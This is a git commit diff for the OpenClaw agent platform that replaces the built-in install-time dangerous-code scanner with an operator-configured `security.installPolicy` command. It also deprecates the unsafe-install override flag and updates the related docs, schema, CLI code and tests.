Add operator install policy and remove dangerous-code install scanners (#89516)

* feat: add operator install policy

* test: cover plain-file plugin install code

* fix: preserve locationless install policy findings

* refactor: remove install-time plugin scanner

* test: remove stale plugin install helper

* fix: preserve before-install builtin scan type

* fix: preserve plugin dependency denylist

---------

Co-authored-by: Mainframe <mainframe@MainfraacStudio.localdomain>
This commit is contained in:
Josh Avant
2026-06-03 14:17:29 -07:00
committed by GitHub
parent 7b82901e58
commit 154f439c81
61 changed files with 4263 additions and 1917 deletions
+15 -9
View File
@@ -157,13 +157,11 @@ is available, then fall back to `latest`.
`--pin` applies to npm installs only. It is not supported with `git:` installs; use an explicit git ref such as `git:github.com/acme/plugin@v1.2.3` when you want a pinned source. It is not supported with `--marketplace`, because marketplace installs persist marketplace source metadata instead of an npm spec.
</Accordion>
<Accordion title="--dangerously-force-unsafe-install">
`--dangerously-force-unsafe-install` is a break-glass option for false positives in the built-in dangerous-code scanner. It allows the install to continue even when the built-in scanner reports `critical` findings, but it does **not** bypass plugin `before_install` hook policy blocks and does **not** bypass scan failures.
`--dangerously-force-unsafe-install` is deprecated and is now a no-op. OpenClaw no longer runs built-in install-time dangerous-code blocking for plugin installs.
Install scans ignore common test files and directories such as `tests/`, `__tests__/`, `*.test.*`, and `*.spec.*` to avoid blocking packaged test mocks; declared plugin runtime entrypoints are still scanned even if they use one of those names.
Use the shared operator-owned `security.installPolicy` surface when host-specific install policy is required. Plugin `before_install` hooks and `security.installPolicy` can still block installs.
This CLI flag applies to plugin install/update flows. Gateway-backed skill dependency installs use the matching `dangerouslyForceUnsafeInstall` request override, while `openclaw skills install` remains a separate ClawHub skill download/install flow.
If a plugin you published on ClawHub is hidden or blocked by a registry scan, use the publisher steps in [ClawHub publishing](/clawhub/publishing). `--dangerously-force-unsafe-install` only affects installs on your own machine; it does not ask ClawHub to rescan the plugin or make a blocked release public.
If a plugin you published on ClawHub is hidden or blocked by a registry scan, use the publisher steps in [ClawHub publishing](/clawhub/publishing). `--dangerously-force-unsafe-install` does not ask ClawHub to rescan the plugin or make a blocked release public.
</Accordion>
<Accordion title="Hook packs and npm specs">
@@ -185,7 +183,7 @@ is available, then fall back to `latest`.
<Accordion title="Git repositories">
Use `git:<repo>` to install directly from a git repository. Supported forms include `git:github.com/owner/repo`, `git:owner/repo`, full `https://`, `ssh://`, `git://`, `file://`, and `git@host:owner/repo.git` clone URLs. Add `@<ref>` or `#<ref>` to check out a branch, tag, or commit before install.
Git installs clone into a temporary directory, check out the requested ref when present, then use the normal plugin directory installer. That means manifest validation, dangerous-code scanning, package-manager install work, and install records behave like npm installs. Recorded git installs include the source URL/ref plus the resolved commit so `openclaw plugins update` can re-resolve the source later.
Git installs clone into a temporary directory, check out the requested ref when present, then use the normal plugin directory installer. That means manifest validation, operator install policy, package-manager install work, and install records behave like npm installs. Recorded git installs include the source URL/ref plus the resolved commit so `openclaw plugins update` can re-resolve the source later.
After installing from git, use `openclaw plugins inspect <id> --runtime --json` to verify runtime registrations such as gateway methods and CLI commands. If the plugin registered a CLI root with `api.registerCli`, execute that command directly through the OpenClaw root CLI, for example `openclaw demo-plugin ping`.
@@ -267,6 +265,10 @@ For local paths and archives, OpenClaw auto-detects:
- Claude-compatible bundles (`.claude-plugin/plugin.json` or the default Claude component layout)
- Cursor-compatible bundles (`.cursor-plugin/plugin.json`)
Managed local installs must be plugin directories or archives. Standalone `.js`,
`.mjs`, `.cjs`, and `.ts` plugin files are not copied into the managed plugin
root by `plugins install`; list them explicitly in `plugins.load.paths` instead.
<Note>
Compatible bundles install into the normal plugin root and participate in the same list/info/enable/disable flow. Today, bundle skills, Claude command-skills, Claude `settings.json` defaults, Claude `.lsp.json` / manifest-declared `lspServers` defaults, Cursor command-skills, and compatible Codex hook directories are supported; other detected bundle capabilities are shown in diagnostics/info but are not yet wired into runtime execution.
</Note>
@@ -320,13 +322,17 @@ For runtime hook debugging:
- `openclaw gateway status --deep --require-rpc` confirms the reachable Gateway URL/profile, service/process hints, config path, and RPC health.
- Non-bundled conversation hooks (`llm_input`, `llm_output`, `before_model_resolve`, `before_agent_reply`, `before_agent_run`, `before_agent_finalize`, `agent_end`) require `plugins.entries.<id>.hooks.allowConversationAccess=true`.
Use `--link` to avoid copying a local directory (adds to `plugins.load.paths`):
Use `--link` to avoid copying a local plugin directory (adds to `plugins.load.paths`):
```bash
openclaw plugins install -l ./my-plugin
```
Standalone plugin files must be listed in `plugins.load.paths` rather than placed directly in `~/.openclaw/extensions` or `<workspace>/.openclaw/extensions`. Those auto-discovered roots load plugin package or bundle directories, while top-level script files are treated as local helpers and skipped.
Standalone plugin files must be listed in `plugins.load.paths` rather than
installed with `plugins install` or placed directly in `~/.openclaw/extensions`
or `<workspace>/.openclaw/extensions`. Those auto-discovered roots load plugin
package or bundle directories, while top-level script files are treated as local
helpers and skipped.
<Note>
Workspace-origin plugins discovered from a workspace extensions root are not
@@ -399,7 +405,7 @@ Updates apply to tracked plugin installs in the managed plugin index and tracked
</Accordion>
<Accordion title="--dangerously-force-unsafe-install on update">
`--dangerously-force-unsafe-install` is also available on `plugins update` as a break-glass override for built-in dangerous-code scan false positives during plugin updates. It still does not bypass plugin `before_install` policy blocks or scan-failure blocking, and it only applies to plugin updates, not hook-pack updates.
`--dangerously-force-unsafe-install` is also accepted on `plugins update` for compatibility, but it is deprecated and no longer changes plugin update behavior. Operator `security.installPolicy` and plugin `before_install` hooks can still block updates.
</Accordion>
</AccordionGroup>
+1 -1
View File
@@ -97,7 +97,7 @@ These run inside the agent loop or gateway pipeline:
- **`agent_end`**: inspect the final message list and run metadata after completion.
- **`before_compaction` / `after_compaction`**: observe or annotate compaction cycles.
- **`before_tool_call` / `after_tool_call`**: intercept tool params/results.
- **`before_install`**: inspect built-in scan findings and optionally block skill or plugin installs.
- **`before_install`**: inspect install context and optionally block skill or plugin installs after operator install policy runs.
- **`tool_result_persist`**: synchronously transform tool results before they are written to an OpenClaw-owned session transcript.
- **`message_received` / `message_sending` / `message_sent`**: inbound + outbound message hooks.
- **`session_start` / `session_end`**: session lifecycle boundaries.
+4 -1
View File
@@ -612,8 +612,11 @@ terminal summary, and sanitized error text.
`skills.upload.begin` request. This mode is rejected unless
`skills.install.allowUploadedArchives` is enabled. The setting does not
affect ClawHub installs.
- Gateway installer mode: `{ name, installId, dangerouslyForceUnsafeInstall?, timeoutMs? }`
- Gateway installer mode: `{ name, installId, timeoutMs? }`
runs a declared `metadata.openclaw.install` action on the gateway host.
Older clients may still send `dangerouslyForceUnsafeInstall`; this field is
deprecated, accepted only for protocol compatibility, and ignored. Use
`security.installPolicy` for operator-owned install decisions.
- Operators may call `skills.update` (`operator.admin`) in two modes:
- ClawHub mode updates one tracked slug or all tracked ClawHub installs in
the default agent workspace.
+3 -3
View File
@@ -538,11 +538,11 @@ Plugins run **in-process** with the Gateway. Treat them as trusted code:
- Restart the Gateway after plugin changes.
- If you install or update plugins (`openclaw plugins install <package>`, `openclaw plugins update <id>`), treat it like running untrusted code:
- The install path is the per-plugin directory under the active plugin install root.
- OpenClaw runs a built-in dangerous-code scan before install/update. `critical` findings block by default.
- OpenClaw does not run built-in local dangerous-code blocking during install/update. Use `security.installPolicy` for operator-owned local allow/block decisions and `openclaw security audit --deep` for diagnostic scanning.
- npm and git plugin installs run package-manager dependency convergence only during the explicit install/update flow. Local paths and archives are treated as self-contained plugin packages; OpenClaw copies/references them without running `npm install`.
- Prefer pinned, exact versions (`@scope/pkg@1.2.3`), and inspect the unpacked code on disk before enabling.
- `--dangerously-force-unsafe-install` is break-glass only for built-in scan false positives on plugin install/update flows. It does not bypass plugin `before_install` hook policy blocks and does not bypass scan failures.
- Gateway-backed skill dependency installs follow the same dangerous/suspicious split: built-in `critical` findings block unless the caller explicitly sets `dangerouslyForceUnsafeInstall`, while suspicious findings still warn only. `openclaw skills install` remains the separate ClawHub skill download/install flow.
- `--dangerously-force-unsafe-install` is deprecated and no longer changes plugin install/update behavior.
- Configure `security.installPolicy` when operators need a trusted local command to make host-specific allow/block decisions for skill and plugin installs. This policy runs after source material is staged but before installation continues, applies to ClawHub skills too, and is not bypassed by deprecated unsafe flags.
Details: [Plugins](/tools/plugin)
+4 -3
View File
@@ -1908,9 +1908,10 @@ lives on the [Models FAQ](/help/faq-models).
<Accordion title="Are ClawHub skills and third-party plugins safe to install?">
Treat third-party skills and plugins as code you are choosing to trust.
ClawHub skill pages expose scan state before install, and OpenClaw plugin
install/update flows run built-in dangerous-code checks, but scans are not a
complete security boundary.
ClawHub skill pages expose scan state before install, but scans are not a
complete security boundary. OpenClaw does not run built-in local
dangerous-code blocking during plugin or skill install/update flows; use
operator-owned `security.installPolicy` for local allow/block decisions.
Safer pattern:
+3 -1
View File
@@ -18,7 +18,9 @@ The macOS app surfaces OpenClaw skills via the gateway; it does not parse skills
- `metadata.openclaw.install` defines install options (brew/node/go/uv).
- The app calls `skills.install` to run installers on the gateway host.
- Built-in dangerous-code `critical` findings block `skills.install` by default; suspicious findings still warn only. The dangerous override exists on the gateway request, but the default app flow stays fail-closed.
- Operator-owned `security.installPolicy` can block gateway-backed skill
installs before installer metadata runs. Install-time built-in dangerous-code
blocking is not part of the skill install flow.
- If every install option is `download`, the gateway surfaces all download
choices.
- Otherwise, the gateway picks one preferred installer using the current
+7 -4
View File
@@ -152,7 +152,7 @@ observation-only.
- `gateway_start` / `gateway_stop` - start or stop plugin-owned services with the Gateway
- `deactivate` - deprecated compatibility alias for `gateway_stop`; use `gateway_stop` in new plugins
- `cron_changed` - observe gateway-owned cron lifecycle changes (added, updated, removed, started, finished, scheduled)
- **`before_install`** - inspect skill or plugin install scans and optionally block
- **`before_install`** - inspect skill or plugin install context and optionally block
## Debug runtime hooks
@@ -452,11 +452,14 @@ Decision rules:
## Install hooks
`before_install` runs after the built-in scan for skill and plugin installs.
Return additional findings or `{ block: true, blockReason }` to stop the
install.
`before_install` runs after the operator-owned `security.installPolicy` check
when one is configured. The `builtinScan` field remains in the event payload for
compatibility, but OpenClaw no longer runs built-in install-time dangerous-code
blocking, so it is an empty `ok` result. Return additional findings or
`{ block: true, blockReason }` to stop the install.
`block: true` is terminal. `block: false` is treated as no decision.
Handler failures block the install fail-closed.
## Gateway lifecycle
+4
View File
@@ -153,6 +153,10 @@ the install instead.
| npm pack | You are proving a local package artifact through npm install semantics | `openclaw plugins install npm-pack:<path.tgz>` |
| marketplace | You are installing a Claude-compatible marketplace plugin | `openclaw plugins install <plugin> --marketplace <source>` |
Managed local path installs must be plugin directories or archives. Put
standalone plugin files in `plugins.load.paths` instead of installing them with
`plugins install`.
## Publish plugins
ClawHub is the primary public discovery surface for OpenClaw plugins. Publish
+16 -1
View File
@@ -143,6 +143,19 @@ current latest release declares a newer `openclaw.compat.pluginApi` or
and installs the newest one that fits. Exact versions and explicit channel tags
such as `@beta` stay pinned to the selected package and fail when incompatible.
### Operator install policy
Configure `security.installPolicy` to run a trusted local policy command before
plugin install or update proceeds. The policy receives metadata plus the staged
source path and can allow or block the install. It runs before plugin
`before_install` hooks. The deprecated `--dangerously-force-unsafe-install`
flag is accepted for compatibility but does not bypass install policy, hooks, or
OpenClaw's built-in plugin dependency denylist.
See [Skills config](/tools/skills-config#operator-install-policy-securityinstallpolicy)
for the shared `security.installPolicy` exec schema used by both skills and
plugins.
### Configure plugin policy
The common plugin config shape is:
@@ -172,7 +185,9 @@ Key policy rules:
allowlist stay unavailable, even when `tools.allow` includes `"*"`.
- `plugins.entries.<id>.enabled: false` disables one plugin while preserving its
config.
- `plugins.load.paths` adds explicit local plugin files or directories.
- `plugins.load.paths` adds explicit local plugin files or directories. Managed
`plugins install` local paths must be plugin directories or archives; use
`plugins.load.paths` for standalone plugin files.
- Workspace-origin plugins are disabled by default; explicitly enable or
allowlist them before using local workspace code.
- Bundled plugins follow their built-in default-on/default-off metadata unless
+161
View File
@@ -95,6 +95,167 @@ Most skills configuration lives under `skills` in
need this setting.
</ParamField>
## Operator Install Policy (`security.installPolicy`)
Use `security.installPolicy` when operators need a trusted local command to
approve or block skill and plugin installs with host-specific policy. The policy
runs after OpenClaw has staged source material and before the install or update
continues. It applies to ClawHub skills, uploaded skills, Git/local skills,
skill dependency installers, and plugin install/update sources.
```json5
{
security: {
installPolicy: {
enabled: true,
// Omit targets to cover every supported target.
targets: ["skill", "plugin"],
exec: {
source: "exec",
command: "/usr/local/bin/openclaw-install-policy",
args: ["--json"],
timeoutMs: 10000,
noOutputTimeoutMs: 10000,
maxOutputBytes: 1048576,
passEnv: ["OPENCLAW_STATE_DIR", "PATH"],
env: { POLICY_MODE: "strict" },
trustedDirs: ["/usr/local/bin"],
},
},
},
}
```
<ParamField path="security.installPolicy.enabled" type="boolean" default="false">
Enables operator-owned install policy. When enabled without a valid `exec`
command, installs fail closed.
</ParamField>
<ParamField path="security.installPolicy.targets" type='("skill" | "plugin")[]'>
Optional target filter. When omitted, policy applies to every supported target
so new installs do not unexpectedly fail open.
</ParamField>
<ParamField path="security.installPolicy.exec.command" type="string">
Absolute path to the trusted policy executable. OpenClaw runs it without a
shell and validates the path before use.
</ParamField>
<ParamField path="security.installPolicy.exec.args" type="string[]">
Static arguments passed after `command`.
</ParamField>
<ParamField path="security.installPolicy.exec.timeoutMs" type="number" default="10000">
Maximum wall-clock runtime for one policy decision.
</ParamField>
<ParamField path="security.installPolicy.exec.noOutputTimeoutMs" type="number" default="timeoutMs">
Maximum time without stdout or stderr output before the policy fails closed.
</ParamField>
<ParamField path="security.installPolicy.exec.maxOutputBytes" type="number" default="1048576">
Maximum combined stdout and stderr bytes accepted from the policy process.
</ParamField>
<ParamField path="security.installPolicy.exec.env" type="Record<string, string>">
Literal environment variables provided to the policy process.
</ParamField>
<ParamField path="security.installPolicy.exec.passEnv" type="string[]">
Environment variable names copied from the OpenClaw process into the policy
process. Only named variables are passed.
</ParamField>
<ParamField path="security.installPolicy.exec.trustedDirs" type="string[]">
Optional allowlist of directories that may contain the policy executable.
</ParamField>
<ParamField path="security.installPolicy.exec.allowInsecurePath" type="boolean" default="false">
Bypasses command path ownership and permission checks. Use only when the path
is protected by another mechanism.
</ParamField>
<ParamField path="security.installPolicy.exec.allowSymlinkCommand" type="boolean" default="false">
Allows the configured command path to be a symlink. The resolved target must
still satisfy the other path checks. Interpreter script arguments must be
direct regular files, not symlinks.
</ParamField>
The policy receives one JSON object on stdin with `protocolVersion: 1`,
`openclawVersion`, `targetType`, `targetName`, `sourcePath`, `sourcePathKind`,
optional structured `source`, structured `origin`, and `request`. It must write
one JSON object on stdout: `{ "protocolVersion": 1, "decision": "allow" }` or
`{ "protocolVersion": 1, "decision": "block", "reason": "..." }`. Non-zero
exit, timeout, malformed JSON, missing fields, or unsupported protocol versions
fail closed.
OpenClaw does not execute install policy during normal Gateway startup. Installs
and updates fail closed when policy is enabled but unavailable. `openclaw doctor`
performs static validation, and `openclaw doctor --deep` executes a synthetic
install probe against the configured command.
Bulk updates apply policy per target: a blocked skill or plugin update fails
that target without disabling the policy or skipping later targets in the batch.
Example stdin:
```json
{
"protocolVersion": 1,
"openclawVersion": "2026.6.1",
"targetType": "skill",
"targetName": "weather",
"sourcePath": "/var/folders/.../openclaw-skill-clawhub/root",
"sourcePathKind": "directory",
"source": {
"kind": "clawhub",
"authority": "openclaw",
"mutable": false,
"network": true
},
"origin": {
"type": "clawhub",
"registry": "https://clawhub.openclaw.ai",
"slug": "weather",
"version": "1.0.0"
},
"request": {
"kind": "skill-install",
"mode": "install",
"requestedSpecifier": "clawhub:weather@1.0.0"
},
"skill": {
"installId": "clawhub"
}
}
```
Minimal policy command:
```js
#!/usr/bin/env node
let input = "";
process.stdin.setEncoding("utf8");
process.stdin.on("data", (chunk) => {
input += chunk;
});
process.stdin.on("end", () => {
const request = JSON.parse(input);
if (request.targetType === "plugin" && request.source?.kind === "local-path") {
process.stdout.write(
JSON.stringify({
protocolVersion: 1,
decision: "block",
reason: "local plugin paths are not approved on this host",
}),
);
return;
}
process.stdout.write(JSON.stringify({ protocolVersion: 1, decision: "allow" }));
});
```
## Bundled skill allowlist
<ParamField path="skills.allowBundled" type="string[]">
+6 -6
View File
@@ -208,12 +208,12 @@ publish and sync.
symlinked skill folders, but every `SKILL.md` realpath must still stay
inside its resolved skill directory.
</Accordion>
<Accordion title="Scan and scan overrides">
Gateway-backed skill installs (onboarding, Skills settings UI) run the
built-in dangerous-code scanner before executing installer metadata.
`critical` findings block by default; `suspicious` findings warn only.
`openclaw skills install <slug>` downloads a ClawHub skill folder directly
and does not use the installer-metadata scanner.
<Accordion title="Operator install policy">
Configure `security.installPolicy` to run a trusted local policy command
before skill installs continue. The policy receives metadata and the staged
source path, applies to ClawHub, uploaded, Git, local, update, and
dependency-installer paths, and fails closed when the command cannot return
a valid decision.
</Accordion>
<Accordion title="Secret injection scope">
`skills.entries.*.env` and `skills.entries.*.apiKey` inject secrets into the
@@ -288,7 +288,13 @@ export const SkillsInstallParamsSchema = Type.Union([
{
name: NonEmptyString,
installId: NonEmptyString,
dangerouslyForceUnsafeInstall: Type.Optional(Type.Boolean()),
dangerouslyForceUnsafeInstall: Type.Optional(
Type.Boolean({
deprecated: true,
description:
"Deprecated compatibility field. Current servers ignore it; install policy is controlled by security.installPolicy.",
}),
),
timeoutMs: Type.Optional(Type.Integer({ minimum: 1000 })),
},
{ additionalProperties: false },
+15 -2
View File
@@ -75,13 +75,26 @@ $pidPath = "$base.pid"`;
const payload = `$ErrorActionPreference = 'Stop'
$PSNativeCommandUseErrorActionPreference = $false
${pathsScript}
function Add-OpenClawBackgroundLog {
param([Parameter(ValueFromPipeline=$true)]$InputObject)
process {
$text = $InputObject | Out-String
$bytes = [System.Text.Encoding]::UTF8.GetBytes($text)
$stream = [System.IO.File]::Open($logPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [System.IO.FileShare]::ReadWrite)
try {
$stream.Write($bytes, 0, $bytes.Length)
} finally {
$stream.Dispose()
}
}
}
try {
& {
${options.script}
} *>&1 | ForEach-Object { $_ | Out-String | Add-Content -Path $logPath -Encoding UTF8 }
} *>&1 | Add-OpenClawBackgroundLog
Set-Content -Path $exitPath -Value '0' -Encoding UTF8
} catch {
$_ | Out-String | Add-Content -Path $logPath -Encoding UTF8
$_ | Add-OpenClawBackgroundLog
Set-Content -Path $exitPath -Value '1' -Encoding UTF8
} finally {
Set-Content -Path $donePath -Value 'done' -Encoding UTF8
+1
View File
@@ -507,6 +507,7 @@ vi.mock("../plugins/install.js", () => ({
NPM_PACKAGE_NOT_FOUND: "npm_package_not_found",
SECURITY_SCAN_BLOCKED: "security_scan_blocked",
SECURITY_SCAN_FAILED: "security_scan_failed",
UNSUPPORTED_PLAIN_FILE_PLUGIN: "unsupported_plain_file_plugin",
},
installPluginFromNpmSpec: ((
...args: Parameters<(typeof import("../plugins/install.js"))["installPluginFromNpmSpec"]>
+8 -4
View File
@@ -1219,6 +1219,11 @@ describe("plugins cli install", () => {
expect(npmInstallCall().spec).toBe("demo");
expect(npmInstallCall().mode).toBe("update");
expect(npmInstallCall().dangerouslyForceUnsafeInstall).toBe(true);
expect(
runtimeLogsContain(
"--dangerously-force-unsafe-install is deprecated and no longer affects plugin installs",
),
).toBe(true);
expect(installPluginFromClawHub).not.toHaveBeenCalled();
});
@@ -1589,9 +1594,7 @@ describe("plugins cli install", () => {
dangerouslyForceUnsafeInstall?: boolean;
},
];
params.logger?.warn?.(
'WARNING: Plugin "demo" forced despite dangerous code patterns via --dangerously-force-unsafe-install: index.js:1',
);
params.logger?.warn?.("WARNING: installer warning from dry-run probe");
return {
ok: true,
pluginId: "demo",
@@ -1625,9 +1628,10 @@ describe("plugins cli install", () => {
expect(pathInstallCall().dangerouslyForceUnsafeInstall).toBe(true);
expect(typeof pathInstallCall().logger?.info).toBe("function");
expect(typeof pathInstallCall().logger?.warn).toBe("function");
expect(runtimeLogsContain("installer warning from dry-run probe")).toBe(true);
expect(
runtimeLogsContain(
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
"--dangerously-force-unsafe-install is deprecated and no longer affects plugin installs",
),
).toBe(true);
});
+2 -2
View File
@@ -151,7 +151,7 @@ export function registerPluginsCli(program: Command) {
.option("--pin", "Record npm installs as exact resolved <name>@<version>", false)
.option(
"--dangerously-force-unsafe-install",
"Bypass built-in dangerous-code install blocking (plugin hooks may still block)",
"Deprecated no-op; install policy and plugin hooks may still block",
false,
)
.option(
@@ -182,7 +182,7 @@ export function registerPluginsCli(program: Command) {
.option("--dry-run", "Show what would change without writing", false)
.option(
"--dangerously-force-unsafe-install",
"Bypass built-in dangerous-code update blocking for plugins (plugin hooks may still block)",
"Deprecated no-op; install policy and plugin hooks may still block",
false,
)
.action(async (id: string | undefined, opts: PluginUpdateOptions) => {
+11 -3
View File
@@ -67,7 +67,7 @@ describe("plugins cli update", () => {
}
});
it("shows the dangerous unsafe install override in update help", () => {
it("shows the deprecated unsafe install flag in update help", () => {
const program = new Command();
registerPluginsCli(program);
@@ -76,8 +76,9 @@ describe("plugins cli update", () => {
const helpText = updateCommand?.helpInformation() ?? "";
expect(helpText).toContain("--dangerously-force-unsafe-install");
expect(helpText).toContain("Bypass built-in dangerous-code update");
expect(helpText).toContain("blocking for plugins");
expect(helpText).toContain("Deprecated no-op");
expect(helpText).toContain("install policy and");
expect(helpText).toContain("plugin hooks may still block");
});
it("refuses plugin updates in Nix mode before package-manager work", async () => {
@@ -208,6 +209,13 @@ describe("plugins cli update", () => {
expect(updateParams.config).toEqual(config);
expect(updateParams.pluginIds).toEqual(["openclaw-codex-app-server"]);
expect(updateParams.dangerouslyForceUnsafeInstall).toBe(true);
expect(
runtimeLogs.some((message) =>
message.includes(
"--dangerously-force-unsafe-install is deprecated and no longer affects plugin updates",
),
),
).toBe(true);
});
it("writes updated config when updater reports changes", async () => {
+15 -6
View File
@@ -65,10 +65,15 @@ function resolveInstallMode(force?: boolean): "install" | "update" {
function resolveInstallSafetyOverrides(overrides: InstallSafetyOverrides): InstallSafetyOverrides {
return {
config: overrides.config,
dangerouslyForceUnsafeInstall: overrides.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: overrides.trustedSourceLinkedOfficialInstall,
};
}
const DEPRECATED_DANGEROUS_FORCE_UNSAFE_INSTALL_WARNING =
"--dangerously-force-unsafe-install is deprecated and no longer affects plugin installs because built-in install-time dangerous-code scanning has been removed. Configure security.installPolicy for operator-owned install decisions.";
function findTrustedCatalogPackageInstall(packageName: string):
| {
pluginId: string;
@@ -324,7 +329,7 @@ async function tryInstallPluginOrHookPackFromNpmSpec(params: {
logger: createPluginInstallLogger(params.runtime),
});
if (!result.ok) {
if (isTerminalPluginInstallSecurityFailure(result.code)) {
if (isTerminalPluginInstallFailure(result.code)) {
(params.runtime ?? defaultRuntime).error(result.error);
return { ok: false };
}
@@ -466,10 +471,11 @@ async function tryInstallPluginFromGitSpec(params: {
return { ok: true };
}
function isTerminalPluginInstallSecurityFailure(code?: string): boolean {
function isTerminalPluginInstallFailure(code?: string): boolean {
return (
code === PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED ||
code === PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED
code === PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED ||
code === PLUGIN_INSTALL_ERROR_CODE.UNSUPPORTED_PLAIN_FILE_PLUGIN
);
}
@@ -590,6 +596,9 @@ export async function runPluginInstallCommand(params: {
marketplace:
params.opts.marketplace ?? (shorthand?.ok ? shorthand.marketplaceSource : undefined),
};
if (opts.dangerouslyForceUnsafeInstall) {
runtime.log(theme.warn(DEPRECATED_DANGEROUS_FORCE_UNSAFE_INSTALL_WARNING));
}
if (opts.marketplace) {
if (opts.link) {
runtime.error(
@@ -648,7 +657,7 @@ export async function runPluginInstallCommand(params: {
}
const cfg = snapshot.config;
const installMode = resolveInstallMode(opts.force);
const safetyOverrides = resolveInstallSafetyOverrides(opts);
const safetyOverrides = resolveInstallSafetyOverrides({ ...opts, config: cfg });
const extensionsDir = resolveDefaultPluginExtensionsDir();
if (opts.marketplace) {
@@ -696,7 +705,7 @@ export async function runPluginInstallCommand(params: {
logger: createPluginInstallLogger(runtime),
});
if (!probe.ok) {
if (isTerminalPluginInstallSecurityFailure(probe.code)) {
if (isTerminalPluginInstallFailure(probe.code)) {
runtime.error(probe.error);
return runtime.exit(1);
}
@@ -750,7 +759,7 @@ export async function runPluginInstallCommand(params: {
logger: createPluginInstallLogger(runtime),
});
if (!result.ok) {
if (isTerminalPluginInstallSecurityFailure(result.code)) {
if (isTerminalPluginInstallFailure(result.code)) {
runtime.error(result.error);
return runtime.exit(1);
}
+6
View File
@@ -22,6 +22,9 @@ import {
} from "./plugins-update-selection.js";
import { promptYesNo } from "./prompt.js";
const DEPRECATED_DANGEROUS_FORCE_UNSAFE_UPDATE_WARNING =
"--dangerously-force-unsafe-install is deprecated and no longer affects plugin updates because built-in install-time dangerous-code scanning has been removed. Configure security.installPolicy for operator-owned install decisions.";
export async function runPluginUpdateCommand(params: {
id?: string;
opts: { all?: boolean; dryRun?: boolean; dangerouslyForceUnsafeInstall?: boolean };
@@ -36,6 +39,9 @@ export async function runPluginUpdateCommand(params: {
info: (msg: string) => defaultRuntime.log(msg),
warn: (msg: string) => defaultRuntime.log(theme.warn(msg)),
};
if (params.opts.dangerouslyForceUnsafeInstall) {
defaultRuntime.log(theme.warn(DEPRECATED_DANGEROUS_FORCE_UNSAFE_UPDATE_WARNING));
}
const pluginSelection = resolvePluginUpdateSelection({
installs: pluginInstallRecords,
rawId: params.id,
+15
View File
@@ -720,6 +720,21 @@ describe("skills cli commands", () => {
});
});
it("exits nonzero when a tracked ClawHub skill update fails", async () => {
readTrackedClawHubSkillSlugsMock.mockResolvedValue(["calendar"]);
updateSkillsFromClawHubMock.mockResolvedValue([
{
ok: false,
error: "blocked by install policy: calendar is not approved",
},
]);
await expect(runCommand(["skills", "update", "calendar"])).rejects.toThrow("__exit__:1");
expect(runtimeErrors).toContain("blocked by install policy: calendar is not approved");
expect(runtimeLogs).toStrictEqual([]);
});
it("rejects using --global and --agent together for updates", async () => {
await expect(
runCommand(["skills", "update", "--all", "--global", "--agent", "main"]),
+5
View File
@@ -400,8 +400,10 @@ export function registerSkillsCli(program: Command) {
info: (message) => defaultRuntime.log(message),
},
});
let failed = false;
for (const result of results) {
if (!result.ok) {
failed = true;
defaultRuntime.error(result.error);
continue;
}
@@ -413,6 +415,9 @@ export function registerSkillsCli(program: Command) {
}
defaultRuntime.log(`${result.slug} already at ${result.version}`);
}
if (failed) {
defaultRuntime.exit(1);
}
} catch (err) {
defaultRuntime.error(String(err));
defaultRuntime.exit(1);
@@ -0,0 +1,88 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import type { OpenClawConfig } from "../config/types.openclaw.js";
import { collectInstallPolicyHealthLines } from "./doctor-install-policy.js";
const tempDirs: string[] = [];
async function makeTempDir(): Promise<string> {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-doctor-install-policy-"));
tempDirs.push(dir);
return dir;
}
async function writePolicyScript(dir: string, response: string): Promise<string> {
const scriptPath = path.join(dir, "policy.cjs");
await fs.writeFile(scriptPath, `process.stdout.write(${JSON.stringify(response)});\n`, "utf8");
await fs.chmod(scriptPath, 0o700);
return scriptPath;
}
function configWithPolicy(scriptPath: string): OpenClawConfig {
return {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: [scriptPath],
allowInsecurePath: true,
},
},
},
};
}
afterEach(async () => {
await Promise.all(tempDirs.splice(0).map((dir) => fs.rm(dir, { recursive: true, force: true })));
});
describe("collectInstallPolicyHealthLines", () => {
it("returns no lines when install policy is disabled", async () => {
await expect(collectInstallPolicyHealthLines({})).resolves.toEqual([]);
});
it("reports static availability without running the command by default", async () => {
const dir = await makeTempDir();
const scriptPath = await writePolicyScript(
dir,
JSON.stringify({ protocolVersion: 1, decision: "block", reason: "probe blocked" }),
);
const lines = await collectInstallPolicyHealthLines(configWithPolicy(scriptPath));
expect(lines.join("\n")).toContain("Install policy enabled for: skill, plugin");
expect(lines.join("\n")).toContain("Static checks passed");
expect(lines.join("\n")).not.toContain("probe blocked");
});
it("runs the synthetic probe in deep mode", async () => {
const dir = await makeTempDir();
const scriptPath = await writePolicyScript(
dir,
JSON.stringify({ protocolVersion: 1, decision: "allow" }),
);
const lines = await collectInstallPolicyHealthLines(configWithPolicy(scriptPath), {
deep: true,
});
expect(lines.join("\n")).toContain("Deep probe allowed the synthetic install request");
});
it("reports unavailable enabled policy as fail-closed", async () => {
const lines = await collectInstallPolicyHealthLines({
security: {
installPolicy: {
enabled: true,
},
},
});
expect(lines.join("\n")).toContain("security.installPolicy.exec is not configured");
expect(lines.join("\n")).toContain("will fail closed");
});
});
+87
View File
@@ -0,0 +1,87 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { note } from "../../packages/terminal-core/src/note.js";
import { formatCliCommand } from "../cli/command-format.js";
import type { OpenClawConfig } from "../config/types.openclaw.js";
import { formatErrorMessage } from "../infra/errors.js";
import {
probeInstallPolicy,
validateInstallPolicyStatic,
type InstallPolicyStaticValidation,
} from "../security/install-policy.js";
export type InstallPolicyHealthOptions = {
deep?: boolean;
env?: NodeJS.ProcessEnv;
};
function formatTargets(validation: InstallPolicyStaticValidation): string {
return validation.targets.length > 0 ? validation.targets.join(", ") : "none";
}
export async function collectInstallPolicyHealthLines(
cfg: OpenClawConfig,
options: InstallPolicyHealthOptions = {},
): Promise<string[]> {
const validation = await validateInstallPolicyStatic(cfg);
if (!validation.enabled) {
return [];
}
